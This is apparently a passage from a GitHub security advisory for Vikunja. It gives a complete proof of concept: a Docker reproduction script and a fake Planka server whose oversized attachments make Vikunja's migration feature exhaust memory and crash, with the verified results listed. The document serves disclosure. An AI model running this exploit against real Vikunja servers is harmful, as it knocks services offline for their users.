Advisory

GHSA-wq92-8x3r-fm38

Details, part 2 of 3. The advisory

Details

Create reproduction/run.sh:

#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
SESSION_DIR="$(cd "${FINDING_DIR}/.." && pwd)"
if [[ "$(basename "${SESSION_DIR}")" == "artifacts" ]]; then
  SESSION_DIR="$(cd "${SESSION_DIR}/.." && pwd)"
fi
CASE_ID="$(basename "${SESSION_DIR}")"
FINDING_NAME="$(basename "${FINDING_DIR}")"
IMAGE_TAG="PoC-${CASE_ID}-${FINDING_NAME}"
NETWORK_NAME="${IMAGE_TAG}-net-$$"
TARGET_REPO_URL="https://github.com/go-vikunja/vikunja.git"
TARGET_REF="d66ef3d1a39c6f7289593059a1a34afd1d059260"
WORKDIR="$(mktemp -d "${SESSION_DIR}/.PoC-repro.XXXXXX")"
NETWORK_CREATED=false
cleanup() {
  if [[ "${NETWORK_CREATED}" == "true" ]]; then
    docker network rm "${NETWORK_NAME}" > /dev/null 2>&1 || true
  fi
  rm -rf "${WORKDIR}"
}
trap cleanup EXIT
TARGET_REPO_DIR="${WORKDIR}/repo"

echo "[PoC] cloning target repository"
git clone --filter=blob:none --no-checkout "${TARGET_REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --detach "${TARGET_REF}"
printf '\n.git\n' >> "${TARGET_REPO_DIR}/.dockerignore"

echo "[PoC] building reproduction image: ${IMAGE_TAG}"
docker build \
  --build-context "target=${TARGET_REPO_DIR}" \
  -t "${IMAGE_TAG}" \
  "${SCRIPT_DIR}"

echo "[PoC] creating isolated public-address test network"
docker network create --subnet 93.184.216.0/24 "${NETWORK_NAME}" > /dev/null
NETWORK_CREATED=true

echo "[PoC] running exploit trigger and verification"
docker run --rm \
  --network "${NETWORK_NAME}" \
  --ip 93.184.216.34 \
  --memory=256m \
  --memory-swap=256m \
  -v "${TARGET_REPO_DIR}:/target-repo:ro" \
  "${IMAGE_TAG}" \
  /app/verify.sh

echo "[PoC] SUCCESS: reproduction completed and verified"

Create reproduction/malicious_planka.py:

#!/usr/bin/env python3
import json
import os
import threading
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

ATTACHMENT_COUNT = 24
ATTACHMENT_BYTES = 20 * 1024 * 1024
counter = 0
counter_lock = threading.Lock()


class Handler(BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def log_message(self, fmt, *args):
        print(fmt % args, flush=True)

    def send_json(self, payload):
        body = json.dumps(payload, separators=(",", ":")).encode()
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_DELETE(self):
        self.send_response(204)
        self.send_header("Content-Length", "0")
        self.end_headers()

    def do_GET(self):
        global counter
        if self.path == "/api/users/me":
            self.send_json({"item": {"id": "attacker"}})
            return
        if self.path == "/api/projects":
            self.send_json(
                {
                    "items": [{"id": "p1", "name": "attacker project"}],
                    "included": {
                        "boards": [
                            {"id": "b1", "name": "board", "projectId": "p1", "position": 1}
                        ],
                        "baseCustomFieldGroups": [],
                        "customFields": [],
                    },
                }
            )
            return
        if self.path == "/api/boards/b1":
            attachments = [
                {
                    "id": f"a{i}",
                    "type": "file",
                    "name": f"aggregate-{i}.bin",
                    "cardId": "c1",
                    "data": {"mimeType": "application/octet-stream"},
                }
                for i in range(ATTACHMENT_COUNT)
            ]
            self.send_json(
                {
                    "item": {"id": "b1", "name": "board", "projectId": "p1", "position": 1},
                    "included": {
                        "users": [],
                        "labels": [],
                        "lists": [
                            {"id": "l1", "name": "active", "type": "active", "position": 1}
                        ],
                        "cards": [
                            {"id": "c1", "name": "memory bomb", "listId": "l1", "commentsTotal": 0}
                        ],
                        "cardLabels": [],
                        "taskLists": [],
                        "tasks": [],
                        "attachments": attachments,
                        "customFieldGroups": [],
                        "customFields": [],
                        "customFieldValues": [],
                    },
                }
            )
            return
        if self.path.startswith("/attachments/"):
            self.send_response(200)
            self.send_header("Content-Type", "application/octet-stream")
            self.send_header("Content-Length", str(ATTACHMENT_BYTES))
            self.end_headers()
            chunk = b"A" * 65536
            try:
                for _ in range(ATTACHMENT_BYTES // len(chunk)):
                    self.wfile.write(chunk)
            except (BrokenPipeError, ConnectionResetError):
                return
            with counter_lock:
                counter += 1
                with open("/work/attachment-count", "w", encoding="ascii") as count_file:
                    count_file.write(str(counter))
                    count_file.flush()
                    os.fsync(count_file.fileno())
            return
        self.send_response(404)
        self.send_header("Content-Length", "0")
        self.end_headers()


ThreadingHTTPServer(("0.0.0.0", 18080), Handler).serve_forever()

From the directory containing these files, run:

chmod +x reproduction/run.sh reproduction/*.sh 2>/dev/null || true
./reproduction/run.sh

Expected: The migration request should return 200, the attacker server should complete several individually permitted attachment responses, then Vikunja should be OOM-killed and its health endpoint should stop responding while the attacker service and verifier survive.

Observed: The final run returned migrate_status=200 using public_attacker_ip=93.184.216.34 with no non-routable-IP override. The attacker completed five 20 MiB responses; Vikunja exited 137, cgroup oom_kill increased by one, and health became unavailable while the attacker server remained alive. The verifier emitted the expected VERIFIED signal and run.sh exited 0.

Verification and controls: The helper requires the pinned mounted checkout, an unset allow-non-routable override, a healthy API and attacker endpoint, and successful normal-user registration/login. It records memory.events, submits the real Planka route, counts fully served attachment bodies, and accepts success only on migrate 200, at least four complete bodies, target exit 137, oom_kill increment, surviving attacker server, and failed health.

Observed evidence:

  • migrate_status=200
  • public_attacker_ip=93.184.216.34
  • attachments_served=5
  • baseline_rss_kib=68064
  • target_exit=137
  • oom_kill_delta=1
  • [PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy

Sources & licences